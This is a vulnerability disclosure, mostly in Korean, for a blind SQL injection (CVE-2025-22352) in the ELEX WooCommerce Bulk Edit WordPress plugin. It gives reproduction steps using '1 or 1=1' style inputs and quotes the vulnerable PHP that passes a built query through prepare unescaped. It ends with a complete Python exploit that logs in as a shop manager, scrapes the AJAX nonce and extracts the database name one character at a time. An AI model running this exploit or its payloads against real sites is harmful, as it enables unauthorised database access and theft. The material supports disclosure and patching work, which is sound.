CVE-2025-22352

Component Type

WordPress plugin

 

Component details

Component name: ELEX WooCommerce Advanced Bulk Edit Products, Prices & Attributes

Vulnerable version: <= 1.4.8

Component slug: elex-bulk-edit-products-prices-attributes-for-woocommerce-basic

Component-link: https://wordpress.org/plugins/elex-bulk-edit-products-prices-attributes-for-woocommerce-basic/

ELEX WooCommerce Bulk Edit Products, Prices & Attributes (Basic)

 

OWASP 2017: TOP 10

Vulnerability class A3: Injection

Vulnerability type: SQL Injection

 

Pre-requisite

Shop Manager

 

Vulnerability details

Short description

ELEX WooCommerce Advanced Bulk Edit Products, Prices & Attributes 플러그인의 제품 필터 기능에서 입력값이 SQL 쿼리에 직접 삽입되어 Blind SQL Injection 취약점이 발생한다.

 

How to reproduce (PoC)

1. WooCommerce의 Bulk Edit Products 페이지로 이동한다.

2. Product Regular를 ==으로 변경하고 텍스트 입력 폼에 1 or 1=1을 입력한다.

 

3. Preview Filtered Products 버튼을 클릭하면 모든 상품이 조회된다.

 

4. 같은 방법으로 1 or 1=2를 입력하고 조회한다.

 

5. 상품을 조회했을 때 출력되는 결과가 없다. 참과 거짓에 따라 응답 결과가 달라지므로 Blind SQL Injection이 취약점이 존재한다.

 

Additional information(optional)

Preview Filtered Products 버튼을 클릭하면 아래 패킷이 요청된다.

 

텍스트 입력 폼에서 입력된 desired_price는 price_query에 할당되어 sql에 추가된다. 이후 main_query가 sql을 포함하여 초기화 된다.

// wp-content/plugins/elex-bulk-edit-products-prices-attributes-for-woocommerce-basic/includes/elex-ajax-apifunctions.php

function elex_bep_get_categories( $categories, $subcat ) {
    $price_query = " AND meta_key='_regular_price' AND meta_value {$filter_range} {$data_to_filter['desired_price']} ";
    ...
    if ( ! empty( $price_query ) ) {
        $sql .= $price_query;
    }
    ...
    $main_query = $sql . ' AND ' . $product_type_condition;
}

 

페이로드가 포함된 main_query는 최종적으로 prepare 함수에 전달되어 실행된다. 이미 완성된 SQL 문자열을 main_query 안에 그대로 넣었으므로 prepare 함수는 escape 없이 포맷팅한다.

// wp-content/plugins/elex-bulk-edit-products-prices-attributes-for-woocommerce-basic/includes/elex-ajax-apifunctions.php

$result = $wpdb->get_results( ( $wpdb->prepare( '%1s', $main_query ) ? stripslashes( $wpdb->prepare( '%1s', $main_query ) ) : $wpdb->prepare( '%s', '' ) ), ARRAY_A );

 

Attach files(optional)

 

PoC Code

import requests
import sys
import string
import re


class WordPressSQLInjector:
    def __init__(self, target, login_id, login_pw, proxies):
        self.target = target
        self.session = requests.session()
        self.nonce = None

        self.proxies = proxies
    
        self.login_id = login_id
        self.login_pw = login_pw

    def login(self):
        data = {
            "log": self.login_id,
            "pwd": self.login_pw,
            "wp-submit": "Log In",
            "testcookie": 1,
        }
        resp = self.session.post(f"{self.target}/wp-login.php", data=data, proxies=self.proxies)
        if any("wordpress_logged_in_" in cookie for cookie in resp.cookies.keys()):
            print(f" |- Successfully logged in with account {self.login_id}.")
        else:
            raise Exception("[-] Login failed.")

    def get_nonce(self, page_url):
        """
        Extract the _ajax_eh_bep_nonce value from the specified page.
        """
        resp = self.session.get(url=page_url, proxies=self.proxies)
        pattern = r'name="_ajax_eh_bep_nonce" value=\"(.{10})\"'
        match = re.search(pattern, resp.text)

        if match:
            self.nonce = match.group(1)
            print(f" |- Successfully extracted nonce: {self.nonce}")
        else:
            raise ValueError("Failed to extract _ajax_eh_bep_nonce.")

    def create_payload(self, payload):
        """
        Generate a payload dictionary dynamically with the extracted nonce.
        """
        if not self.nonce:
            raise ValueError("_ajax_eh_bep_nonce is not set. Call `get_nonce` first.")
        return {
            "paged": "1",
            "_ajax_eh_bep_nonce": self.nonce,
            "action": "eh_bep_filter_products",
            "sub_category_filter": "",
            "attribute": "",
            "product_title_select": "all",
            "product_title_text": "",
            "regex_flags": "",
            "attribute_value_filter": "",
            "attribute_and": "",
            "attribute_value_and_filter": "",
            "range": "=",
            "desired_price": payload,
            "minimum_price": "",
            "maximum_price": "",
            "exclude_ids": "",
            "exclude_subcat_check": "0",
            "enable_exclude_prods": "0",
        }

    def find_database_length(self, ajax_url):
        """
        Find the length of the database name using SQL injection.
        """
        database_length = 0
        while True:
            sys.stdout.write(f"\rFinding database name length... Current database length: {database_length}")
            sys.stdout.flush()

            payload = f"1 OR LENGTH(DATABASE()) = {database_length}"
            resp = self.session.post(url=ajax_url, data=self.create_payload(payload), proxies=self.proxies)

            if resp.json()["total_items_count"] != 0:
                sys.stdout.write("\r" + " " * 60 + "\r")
                print("*" * 40)
                print("Successfully found database name length!")
                print(f"Database name length: {database_length}")
                print("*" * 40)
                return database_length

            database_length += 1

    def extract_database_name(self, ajax_url, database_length):
        """
        Extract the database name character by character using SQL injection.
        """
        database_name = ''
        charset = string.ascii_letters + string.digits + "_"

        print("Starting database name extraction...")
        for i in range(1, database_length + 1):
            for char in charset:
                ascii_value = ord(char)
                payload = f"1 OR ASCII(SUBSTRING(DATABASE(), {i}, 1)) = {ascii_value}"
                resp = self.session.post(url=ajax_url, data=self.create_payload(payload), proxies=self.proxies)

                try:
                    is_true = resp.json()["total_items_count"] != 0
                except (KeyError, ValueError, requests.exceptions.JSONDecodeError):
                    print(f"\nJSON response error occurred: {resp.text}")
                    is_true = False

                if is_true:
                    database_name += char
                    sys.stdout.write(f"\rCurrent database name: {database_name}")
                    sys.stdout.flush()
                    break

        sys.stdout.write("\r" + " " * 80 + "\r")
        print("*" * 40)
        print("Successfully extracted database name!")
        print(f"Database name: {database_name}")
        print("*" * 40)

        return database_name


if __name__ == '__main__':
    # Configuration
    TARGET = "http://localhost:8000"

    # Shop Manager OR Administrator
    LOGIN_ID = "shop_manager"
    LOGIN_PW = "shop_manager"
    NONCE_PAGE = f"{TARGET}/wp-admin/admin.php?page=eh-bulk-edit-product-attr"
    AJAX_URL = f"{TARGET}/wp-admin/admin-ajax.php"

    # Enter the proxy server address in the variable below if you want to configure a proxy.
    PROXY_SERVER = None
    PROXY_CONFIG = {
        "https": PROXY_SERVER,
        "http": PROXY_SERVER,
    }

    # Initialize and perform SQL Injection
    injector = WordPressSQLInjector(TARGET, LOGIN_ID, LOGIN_PW, proxies=PROXY_CONFIG)
    injector.login()
    injector.get_nonce(NONCE_PAGE)
    database_length = injector.find_database_length(AJAX_URL)
    database_name = injector.extract_database_name(AJAX_URL, database_length)